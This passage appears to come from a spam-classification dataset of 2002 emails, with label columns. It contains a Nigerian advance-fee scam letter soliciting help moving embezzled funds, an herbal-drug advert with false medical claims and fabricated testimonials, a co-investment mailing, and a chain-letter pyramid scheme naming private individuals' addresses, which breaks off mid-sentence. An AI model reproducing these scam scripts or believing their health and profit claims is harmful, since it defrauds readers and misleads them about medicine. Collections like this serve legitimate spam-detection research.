",osa_ame2001@yahoo.com,"Mon, 6 May 2002 15:13:11 -0700 (PDT)",PARTNERSHIP REQUEST,"REQUEST FOR URGENT BUSINESS RELATIONSHIP Dear Sir, Firstly, I must solicit your strictest confidentiality in this transaction. This is by virtue of its nature as being utterly CONFIDENTIAL and TOP SECRET. Though I know that a transaction of this magnitude will make anyone apprehensive and worried, but I am assuring you that all will be well at the end of the day. We have decided to contact you first by your email due to the urgency of this transaction, as we have been reliably informed that it will take at least two to three weeks for a normal post to reach you. So we decided it is best using the email. Let me start by first introducing myself properly to you. I am Dr. Osaro Ame, a director general in the Ministry of Mines and Power and I head a Three-man tender board appointed by the Government of the Federal Republic of Nigeria to award contracts to individuals and companies and to approve such contract payments in the Ministry of Mines and Power. The duties of the committee also include evaluation, vetting and monitoring of work done by both foreign and local contractors in the ministry. I came to know of you in my search for a reliable and reputable person to handle a very confidential business transaction which involves the transfer of a huge sum of money to a foreign account requiring maximum confidence. In order to commence this business, we solicit for your assistance to enable us transfer into your account the said funds. The source of this funds is as follows: Between 1996 and 1997, this committee awarded contracts to various contractors for engineering, procurement, supply of electrical equipments such as Transformers, and some rural electrification projects. However, these contracts were over-invoiced by the committee, thereby, leaving the sum of US$11.5million dollars (Eleven Million Five Hundred thousand United States Dollars) in excess. This was done with the intention that the committee will share the excess when the payments are approved. The Federal Government have since approved the total contract sum which has been paid out to the companies and contractors concerned which executed the contracts, leaving the balance of $11.5m dollars, which we need your assistance to transfer into a safe off-shore and reliable account to be disbursed amongst ourselves. We need your assistance as the funds are presently secured in an escrow account of the Federal Government specifically set aside for the settlement of outstanding payments to foreign contractors. We are handicapped in this circumstances as the civil service code of conduct, does not allow us to operate off-shore accounts, hence your importance in the whole transaction is highly needed . My colleagues and I have agreed that if you or your company can act as the beneficiary of this funds on our behalf, you or your company will retain 20% of the total amount of US$11,500,000.00 (Eleven Million Five Hundred Thousand United States Dollars), while 70% will be for us (members of this panel) and the remaining 10% will be used in offsetting all debts/expenses incurred (both local and foreign) in the cause of this transfer. Needless to say, the trust reposed on you at this juncture is enormous. In return we demand your complete honesty and trust. It does not matter whether or not your company does contract projects of this nature described here, the assumption is that your company won the major contract and sub-contracted it out to other companies. More often than not, big trading companies or firms of unrelated fields win major contracts and subcontract to more specialized firms for execution of such contracts. We are civil servants and we will not want to miss this once in a life time opportunity. You must however, NOTE that this transaction will be strictly based on the following terms and conditions as we have stated below, as we have heard confirmed cases of business associates running away with funds kept in their custody when it finally arrive their accounts. We have decided that this transaction will be based completely on the following: (a). Our conviction of your transparent honesty and diligence. (b). That you would treat this transaction with utmost secrecy and confidentiality. (c). That upon receipt of the funds, you will promptly release our share (70%) on demand after you have removed your 20% and all expenses have been settled. (d). You must be ready to produce us with enough information about yourself to put our minds at rest. Please, note that this transaction is 100% legal and risk free and we hope to conclude the business in Ten Bank working days from the date of receipt of the necessary information and requirement from you. Endeavour to acknowledge the receipt of this letter using my email fax number 1-443-658-2542 or my email address and I will bring you into the complete picture of this transaction when I have heard from you. Your urgent response will be highly appreciated as we are already behind schedule for this financial quarter. Thank you and God bless. Yours faithfully, Dr. Osaro Ame __________________________________________________ Do You Yahoo!? Yahoo! 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Temple 3 Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-Sensitive/Responsive, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon sensitive/responsive herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple 3 Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the happiness coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. Ingredients: Temple smoking substances and Temple 3 Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES House Smoking Substance Specialties. Temple 3 Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple 3 Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! ra! cuttings. Please Note: Temple 3 Ragga Dagga (TM) is an absolutely legal, herba/botanical, Personal Choice, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple 3 Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple 3 Ragga Dagga (TM). And although we are not age-governed by law.Temple 3 Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple 3 Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time. As well, Temple 3 Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physicians care in any regard. ======================================================== Here is what our customers are saying about the Temple 3 Ragga Dagga (TM) phenomenon: To whom it may concern, I was skeptical when I first read your ad. I grew up in the 70s & 80s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! se! , I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? Sincerely, RJ Location: Midwest, U.S.A. Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you. -- Frankie R. Location: West Coast, USA Im a man of my 40s and I really know my stuff. I dont drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple 3. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?! -- A.J. Location: United Kingdom ======================================================== Finally, we realize of course that this Temple 3 Ragga Dagga (TM) is not inexpensive. (Temple 3 Ragga Dagga (TM) is a very, very Sweet Smoke and sweetness is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple 3 Ragga Dagga (TM). Four or five draws of your pipe.as is the magical way.lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple 3 Ragga Dagga (TM) Package.) Seventh Heaven Temple 3 Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. ************************************************************ Our other fine herbal, botanical products include the following: 1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. 2. ""Seventh Heaven"" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... 3. ""Seventh Heaven"" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... 4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... ********************************************* Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: * Extreme body sensitivity * Sensitivity to touch * Desire to touch and be touched * Fantasy, lust, rapture, erogenous sensitivity ... * Prolongs and intensifies foreplay, orgasm & climax ********************************************* ""Seventh Heaven"" Prosaka Tablets ... Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. ""Seventh Heaven"" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. NO side effects! NO dependency! Vivaciously Mellow! ********************************************** ""Seventh Heaven"" Gentle Ferocity Tablets (tm) ... a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal ""diet aids"" entitled as ""Thermogenics"" ... this is ABSOLUTELY the herbal agenda/product for you!! Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! *********************************************** Extreme Martial Arts Botanical Remedies Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer Equivalence Tablets & Dragon Wing Remedy Spray (Hei Ping Shun) (Hei Long Chibang) PLEASE NOTE: While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: 1. Significantly reduce discomfort and pain! (In many instances most, if not all, traumas and distress can be eliminated!) 2. Significantly increase mobility and strength ratio. (Please remember also the significance of proper diet, excercise, rest and prayer.) Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. ======================================================== !!!!Please refer to Introductory Offers further on in this text featuring Temple 3 Ragga Dagga (TM) along with our other very fine Sensitive/Responsive cordial botanical products. Please enjoy!!! Many Blessings to you all. ======================================================== PRICING INFORMATION: 1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) One .75 oz. jigget/bar $65.00 One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) 2. SWEET VJESTIKA APHRODISIA DROPS (tm) One 1.0 oz. bottle $90.00 Two 1.0 oz. bottles $140.00 3. SEVENTH HEAVEN PROSAKA (tm) One 100 tablet tin $40.00 Three 100 tablet tins $105.00 Six 100 tablet tins $185.00 4. SEVENTH HEAVEN GENTLE FEROCITY (tm) One 300 tablet jar $130.00 5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. ** 3-pack (270 tablets) $83.00 ** 6-pack (540 tablets) $126.00 (save $40.00) ** 9-pack (810 tablets) $159.00 (save $90.00) ** 12-pack (1,080 tablets) $192.00 (save $140.00) 6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. ** 3-pack (3 - 4 oz. bottles) $83.00 ** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) ** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) ** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) 7. Dynamic Duo Introductory Offers ** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) ** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) ** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) ** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) 8. SWEET APHRODISIA INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 9. BODY, MIND, SPIRIT ""HEAVENLY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) 10. ""PURE ENERGY"" INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) 11. ""SENSITIVE"" PREFERENTIAL INTRO COMBINATION OFFER Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) 12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. 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+0200",Production Mini-plants in mobile containers. Co-investment Program,"This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable The Financial News, May 2002 Production Mini-plants in mobile containers. Co-investment Program =22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile=20containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring,=20piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework,=20Sheeting for Roofing, Ceilings and Fa=E7ades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups,=20Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material,=20Hypodermic Syringes, Hemostatic Clamps, etc.=20 Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable=20production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World=20Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local=20resources (labor, some equipment, etc.) For more information: Mini-plants in mobile containers By Steven P. Leibacher, The Financial News, Editor Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de=20produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta dise=F1ado de forma que todas las maquinas de produccion van instaladas fijas=20sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento est=E1n listas=20para producir.=22=20 Mas de 700 sistemas de produccion portatil: Panaderias, Producci=F3n de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de=20hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de=20polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la=20construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de peque=F1as Plantas ensambladoras para fabricar en serie las Mini-plantas=20de produccion portatil, en el lugar, region o pais que lo necesite. Una de las caracter=EDsticas relevantes es el hecho de que dichas plantas quedaran conectadas al=20Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de=20comercio internacional.=20 Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi=20como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles Steven P. Leibacher, The Financial News, Editor ------------------------------------------------------------------------- If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor =A9 2002 The Financial News. All rights reserved. --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable The Financial News, May 2002 Production Mini-plants in mobile containers. Co-investment Program =22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring, piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework, Sheeting for Roofing, Ceilings and Façades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups, Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material, Hypodermic Syringes, Hemostatic Clamps, etc. Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local resources (labor, some equipment, etc.) For more information: Mini-plants in mobile containers By Steven P. Leibacher, The Financial News, Editor Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta diseñado de forma que todas las maquinas de produccion van instaladas fijas sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento están listas para producir.=22 Mas de 700 sistemas de produccion portatil: Panaderias, Producción de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de pequeñas Plantas ensambladoras para fabricar en serie las Mini-plantas de produccion portatil, en el lugar, region o pais que lo necesite. Una de las características relevantes es el hecho de que dichas plantas quedaran conectadas al Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de comercio internacional. Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles Steven P. Leibacher, The Financial News, Editor ------------------------------------------------------------------------- If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor © 2002 The Financial News. All rights reserved. --=_NextPart_2rfkindysadvnqw3nerasdf--",1,0 group5_0510261386@erols.com,social@linux.ie,"Sun, 12 May 2002 04:33:28 -0500",[ILUG-Social] RE: Take The Steps To Wealth For $25. Do It NOW 26138654332222,"Updated May 9, 2002 ... READ THIS! YOU'LL BE HAPPY YOU DID! A recent survey by Nielsen/Netratings says that ""The Internet population is rapidly approaching a 'Half a Billion' People!"" SO WHAT DOES ALL THIS MEAN TO YOU? Let's assume that every person has 'only' one E-mail address. That's 500 million potential customers and growing! In addition, ""E-mail is without question the most powerful method of distributing information on earth"" Well, I think you get the picture. The numbers and potential are just staggering, but it gets even better ... START YOUR OWN E-MAIL BUSINESS TODAY & ENJOY THE FOLLOWING BENEFITS: ********************************************************* 1. ALL CUSTOMERS PAY YOU IN CASH 2. YOU WILL SELL A PRODUCT WHICH COSTS NOTHING TO PRODUCE 3. YOUR ONLY MAJOR OVERHEAD IS YOUR TIME 4. YOU HAVE 100s OF MILLIONS OF POTENTIAL CUSTOMERS 5. YOU GET DETAILED, EASY TO FOLLOW STARTUP INSTRUCTIONS ******************************************************** AND THIS IS JUST THE TIP OF THE ICEBERG ... As you read on you'll discover how a 'Seen on National TV' program is paying out excellent returns, every 4 to 5 months from your home, for a minimal initial startup investment of only $25 US Dollars. ALL THANKS TO THE COMPUTER AGE AND THE INTERNET! This is the letter you have been hearing a lot about recently. Due to the popularity of this letter on the Internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. This is what one had to say: '' Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received a 6 figure income in 21 weeks, with money still coming in''. Pam Hedland, Fort Lee, New Jersey. ===================================================================== Here is another testimonial: '' this program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made a small amount of money, but the next 2 months after that I made a total of a good 6 figures. So far, in the past 8 months by re-entering the program, I have made a lot more and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything.'' ===================================================================== More testimonials later but first: *****PRINT THIS NOW FOR YOUR FUTURE REFERENCE & FOLLOW THESE SIMPLE INSTRUCTIONS TO MAKE YOUR FINANCIAL DREAMS TRUE! ***** INSTRUCTIONS: ============ **** Order all 5 reports shown on the list below. **** For each report, send $5 U.S. CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. **** When you place your order, make sure you order each of the 5 reports **** You will need all 5 reports so that you can save them on your computer and resell them. YOUR UP-FRONT COST is ONLY $5 X 5 = $25.00. *********Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who may order from you. Also make a floppy of these reports and keep it at your desk in case something happens to your computer. **********IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in steps 1 through 6 or you will loose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter, it will NOT work! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we all have tried to be greedy and then nothing happened. So do not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! 1. After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their money. 2. Move the name & address in REPORT # 4 down TO REPORT # 5. 3. Move the name & address in REPORT # 3 down TO REPORT # 4. 4. Move the name & address in REPORT # 2 down TO REPORT # 3. 5. Move the name & address in REPORT # 1 down TO REPORT # 2. 6. Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! ========================================================= Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case if you loose any data. To assist you with marketing your business on the Internet, the 5 reports you purchase will provide you with invaluable marketing information that includes: How to send bulk e-mails legally, Where to find thousands of free classified ads and much, much more. There are 2 Primary methods to get this venture going: METHOD # 1: SENDING BULK E-MAIL LEGALLY ======================================= Let's say that you decide to start small, just to see how it goes, and we will assume you and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also, many people may send out hundreds of thousands e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report #1. Those 10 people responded by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's = 100 people responded and ordered Report #2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report #3. Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report #4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) Emails. The 0.2% response to that is 100,000 orders for Report #5. THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (a half million). Your total income in this example is: 1..... $50 + 2..... $500 + 3..... $5,000 + 4..... $50,000 + 5..... $500,000 ......... Grand Total = $555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU CAN STILL MAKE MONEY! ----------------------------------------------------------- REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 PEOPLE YOU MAILED. Dare to think for a moment what would happen if everyone, or 1/2, or even one 1/5 of those people mailed 100,000 e-mails each or more? There are over 500 million people on the Internet worldwide and counting. Believe me, many people may do just that, and more! METHOD # 2: PLACING FREE ADS ON THE INTERNET =================================================== Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet can easily get a larger response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the Report they ordered. That's it! Always provide same day service on all orders. This will guarantee that the emails they send out, with your name and address on it, will be prompt because they can not advertise until they receive the report. ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Note: Always send $5 cash (U.S. CURRENCY) for each Report. Checks or money orders are NOT accepted. Make sure the cash is wrapped in at least 2 sheets of paper before you put it in the envelope. On one of those sheets of paper, write the NUMBER and the NAME of the Report you are ordering, your email ADDRESS, your NAME and postal address. Make sure you affix proper 'International' Postage if ordering a report from outside your country. PLACE YOUR ORDER FOR THESE REPORTS NOW: ============================================================= Report 1: The Insider's Guide To Advertising for Free On The Net ... Order from: P. Hynes 6461 Mayfield Rd Brampton, ON Canada L6T 3Z8 Report 2: The insiders Guide To Sending Bulk E-mail On The Net ... Order from: Lynn Asbill 9400 Bluebonnet Dr Scurry, TX 75158 USA Report 3: Secret To Multilevel Marketing On The Net ... Order from: Greg Grant Po Box 385 Wilberforce, ON Canada K0L 3C0 Report 4: How To Become A Millionaire Using MLM & The Net ... Order from: LW 50 Burnhamthorpe Rd W Suite 401 Mississauga, ON Canada L5B 3C2 Report 5: How To Send Out One Million Emails & Jump Start Your Business ... Order from: BDM Consulting PO Box 890 Orem, UT 84059 USA ============================================================= There are currently almost 500,000,000 people online worldwide! $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: ************************************************* If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for Report #2. If you did not, continue advertising or sending e-mails until you do. Once you have received 100 or more orders for Report #2, YOU CAN RELAX, because the system is already working for you! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN!!! ____________________________________________________ FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2...........# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So 